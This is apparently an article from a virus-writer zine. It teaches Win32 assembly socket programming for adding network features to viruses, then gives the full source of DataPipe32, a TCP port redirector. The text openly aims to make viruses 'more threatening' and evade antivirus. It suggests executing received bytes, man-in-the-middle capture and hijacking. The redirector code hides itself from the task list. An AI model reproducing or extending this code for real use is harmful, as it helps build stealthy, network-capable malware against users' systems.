_ |_| __________ _| | | | ____. ____. | _____ \ _ |_ _____ _ _____ \ _ |_ ______ ___( _. \_ \\__ \_ ( ._ \_ ___| \_ ( _ \_ \\__ \_ __ o | /_ _. \| /_ _._ /_ |/ /_ __. /_ /._ _/_ _._ /_ | _ _\|______|__\| | l__ |/ l__| l__ \| l__|/ l__ |/ l _||_|, . : `--`----' `-----' | `-----' `-----' `-----' | | _____ | |_____ _____ | | __ ( __/__| _. _ ( _ \_ ( _ \_ _____: | dz\a! _ | /_ /__. /_ \| /_ /._ _/_ /_.__/ | o | ,|_||__l__ \| l | l__|/ l__ |/ ______|/_ | . `-----' . `-----' `-----' _ | < --- | ---------- | __| --------------------------\/---- > | | |_____\ | | | _| m a n d r a g o r e F S |__________| _ |_| implementing TCPIP 'addons' in your viral stuff ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Borring intro: Nowadays, virii are more and more involved with internet. We can't count how many virii include irc worm, mail spreadin, and so on... So here it is some simple tips bout how TCP IP workx, at least enough to improve your creations, making them potientially more threatening. You must have some basic knowleadge bout UDP, ICMP, TCP protocols. You should have BSD netinet includ filez, win32 asm help, tasm5, netcat. Core: All proggys that uses winsock APIs must call WSAStartup : push offset where the winsock copyright will be put push min_version (use 101h here) call WSAStartup A necessary thing is to grab a socket, here is how : push IPPROTO_xxx ; which protocol push SOCK_xxx ; way of communicating push AF_INET ; necessary for internet sockets (af_inet=2) call socket IPPROTO_TCP sockets use the SOCK_STREAM way (persistent connection), IPPROTO_UDP and IPPROTO_ICMP sockets use the SOCK_DGRAM (connectionless). Thoses are the most commonly used. Get the IPPROTO_TCP, ... values in winsock.h or BSD netinet/ includ filez. IGMP are sock_dgram sockets and rarely filtred by win32 firewalls ;) There is an IPPROTO_RAW (uses SOCK_RAW) protocol where you send custom packets to the 'internet'. You have to forge yourself the whole packet but this let you set up everything, even the source IP :)) Notice that giving a fake ip here for a tcp connection is a non-sense. Now that you grabbed a socket (and stored the socket handle returned in eax) you can make it connects or wait. I'll begin by connecting. Here'z the API: push 16 push offset addr push socket_handle call connect The addr is a structure: addr struc proto dw 2 ; necessary, this stand for AF_INET port dw ? ; /!\ inversed form : port 12345d -> dw 3930h ip db ?,?,?,? ; 127.0.0.1 -> db 127,0,0,1 addr ends Now let's study how to make the socket listens. At first, we have to bind it to an 'addr'. This gives the port to listen to. We don't care bout the IP field in addr for this API. push 16 push offset addr push socket_handle call bind If the return is fine, we have to set it to listen mode. push 1 ; one client at a time. push socket_handle call listen Now we have to wait for a connection. push 0 ; not needed here push 0 ; " push sock_handle call accept This is synchronous. It returns when a connection is attempted. Check below for asynchronous way of 'socketing'. The value returned in eax is the handle for this new socket. Don't confuse the two sockets: the first listening, and the 2nd connected. Use this second handle for the next APIs.... Once connected, you should use 'send' and 'recv'. push 0 ; needed. push buffer_size push offset buffer push socket_handle call send / call recv We reach here a big problem: the asynchronous and synchronous calls. Both APIs are synchronous; this means that if you issue a 'call recv' it waits until something comes. So you have to wait the call to return before being able to send something (or recv on another socket). There are different way to get around this trouble. For example you could use the getsockopt/setsockopt APIs, but I'll describe my favorite way: using the 'select' API. push offset ttl push 0 push 0 push offset fd_set push 10h call select ttl stands for Time To Live; it's a qword value in memory telling how many microsecs the packet has to arrived before being ignored. fd_set is a structure: fd_set struc numba dd 1 ; one socket to check sockh dd ? ; socket handle fd_set ends fd_set can be more complex 'cuz this API can be used to check several sockets at one time. Once called, the .numba field is cleared. You have to re-set it to 1 /!\ Let's study the value returned in eax. if eax = -1, something wrong occured and we have to close the sockets. if eax = 1, something is came and we can read it w/ stopping the proggy. if eax = 0, nothing to do. Finally, here'z the (simple) way to close the sockets: push socket_handle call close For clean code, you should call WSACleanup at the end of your code. call WSACleanup ; no argz Final wordz: This is the basis. I'll may be write a more advanced tutorial bout TCPIP in the futur, especially bout IPPROTO_RAW protocol. Until there, experiment and improve the present nfos. You can write bufferz (on half side, or both) to a file, that's called 'man in the middle' attack. Or you can simply write every bytes received to a file and execute it. With IPPROTO_RAW, you can even do hijacking. Now that's your deal to find great ideas and make fear Kaspersky :) Ä=( mandragoreFS ]=ù contacts: mandragore_fs@hushmail.com handshakes flying to: urgo, mist, lethal, darkman, reptile, yesna, lord julus, T2, giga, morphine, the_might, the 29A mmbrz, all FS mmbrz, and the ex-DDT mmbrz. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ8<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ8<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ comment $ -ìëì-ù-ìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëì-ù -=( DataPipe32 by ÄmandragoreÄ--ù )=- Simply redirects a TCPIP connection. Example for my article in the 29A#4 zine. -ìëì-ù-ìëì-ù-ìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëìÄùÄìëì-ù $ .386 .model flat bptr equ wptr equ dptr equ %out DataPipe32 by ÄmandragoreFSÄ--ù extrn WSAStartup:proc, socket:proc, connect:proc, listen:proc, recv:proc, \ accept:proc, closesocket:proc, bind:proc, send:proc, select:proc, \ ExitProcess:proc, GetCurrentProcessId:proc, GlobalAlloc:proc, \ RegisterServiceProcess:proc .data addr1 dw 2 db 1,0c8h ; incoming port (456 here) dd ? ; x don't care addr2 dw 2 dw 3930h ; outgoing port (12345 here) db 127,0,0,1 ; outgoing ip (localhost here) sock1 dd ? sock2 dd ? gotit dd ? buffsz equ 4096 ; size of buffer - big enough adrbuff dd ? fd_set1 dd 1,0 fd_set2 dd 1,0 fd_set struc no dd 0 sockh dd 0 fd_set ends ttl dd 0,64h .code start: call GetCurrentProcessId ; push 1 ; This is just used to not push eax ; appear in the task list call RegisterServiceProcess ; push buffsz push 0 call GlobalAlloc ; let's grab some mem for our buffer cmp eax,-1 ; je bye mov adrbuff,eax push eax ; (c) > hell push 101h call WSAStartup push 6 push 1 push 2 call socket ; create a TCP socket cmp eax,-1 je bye mov sock1,eax push 16 push offset addr1 push sock1 call bind ; bind to port 456d cmp eax,-1 je bye push 1 push sock1 call listen ; listen mode on bis: push 0 push 0 push sock1 call accept ; wait for a connection mov gotit,eax ; gotit is the incoming socket mov [fd_set1.sockh],eax ; gotit <> sock1 !!! push 6 push 1 push 2 call socket ; open a new socket (for outgoing) cmp eax,-1 je bye mov sock2,eax mov [fd_set2.sockh],eax push 16 push offset addr2 push sock2 call connect ; connect the outgoing socket cmp eax,-1 je nosok2 main_lp: push offset ttl push 0 push 0 push offset fd_set1 push 10h call select ; something coming form incoming ? cmp eax,-1 je out cmp eax,1 je r1w2 mov fd_set1.no,1 push offset ttl push 0 push 0 push offset fd_set2 push 10h call select ; something coming from outgoing ? cmp eax,-1 je out cmp eax,1 je r2w1 mov fd_set2.no,1 jmp main_lp out: push sock2 call closesocket nosok2: push gotit call closesocket jmp bis ; go wait for a new connection bye: push 0 call ExitProcess ; hmmm for debug purposes :) r1w2: push 0 push buffsz push adrbuff push gotit call recv ; read bytes from incoming or eax,eax jz out cmp eax,-1 je out push 0 push eax push adrbuff push sock2 call send ; send them to outgoing cmp eax,-1 je out jmp main_lp r2w1: push 0 push buffsz push adrbuff push sock2 call recv ; get datas from outgoing or eax,eax jz out cmp eax,-1 je out push 0 push eax push adrbuff push gotit call send ; send them to incoming socket cmp eax,-1 je out jmp main_lp end start ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ8<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ8<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ